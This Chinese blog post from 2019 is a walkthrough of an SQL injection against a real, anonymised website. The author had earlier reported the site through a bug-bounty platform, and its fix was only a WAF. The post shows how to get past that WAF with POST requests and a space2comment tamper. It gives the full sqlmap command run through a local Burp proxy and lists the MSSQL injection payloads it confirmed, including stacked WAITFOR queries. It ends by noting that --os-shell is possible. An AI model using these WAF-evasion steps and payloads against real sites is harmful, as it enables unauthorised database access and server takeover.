SQLMAP SSI注入错误解决

 

 

记一次SQL注入

 

目标地址:https://www.xxxx.com/

 

之前补天提交过这个注入  后来貌似”修复了”(实际就是装了安全狗和过滤了一些关键字)

 

不过今天试了下 还是可以注入

 

 

 

可以看到已经有安全狗拦截get方式的注入字符

 

目标站是伪静态重写了url 改一下提交规则即可

 

改成post提交(默认安全狗只拦截get方式)

 

 

可以接受post参数 经过测试 拦截了一些空格和敏感字符

 

 

 

直接上sqlmap跑 注意线程和伪造http

 

 

因为目标站是https 我加了--force-ssl参数 指定为https,但是显示https 连接出错。

因为sqlmap没办法忽略https证书 所以有两个解决方法

  1. 通过本地代理端口进行访问

  2. 通过搭建web,访问代理文件进行注入

 

 

第一种简单又不涉及代码 直接burpsuite代理本地8080端口,然后sqlmap通过8080端口进行访问注入即可(当然其他本地映射charles也可以)

 

 

 

-u https://www.xxx.com/news_show.asp --data=id=3395 --safe-url=https://www.xxxx.com/news_show.asp?/3395.html --safe-freq=2 --tamper space2comment.py --force-ssl --proxy http://127.0.0.1:8080 --random-agent -v 3

 

 

结果:

Parameter: id (POST)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=3395 AND 1967=1967

    Vector: AND [INFERENCE]

 

    Type: error-based

    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)

    Payload: id=3395 AND 8669 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (8669=8669) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(118)+CHAR(113)))

    Vector: AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))

 

    Type: inline query

    Title: Microsoft SQL Server/Sybase inline queries

    Payload: id=(SELECT CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6806=6806) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(118)+CHAR(113))

    Vector: (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')

 

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries (comment)

    Payload: id=3395;WAITFOR DELAY '0:0:5'--

    Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--

 

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)

    Payload: id=3395 WAITFOR DELAY '0:0:5'--

Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--

 

 

 

 

因为是SQL server 不需要找路径,测试后可以--os-shell 有写入权限 后面就不深入测试了

 

posted @ 2019-03-11 09:05  卿先生  阅读(2474)  评论(0编辑  收藏  举报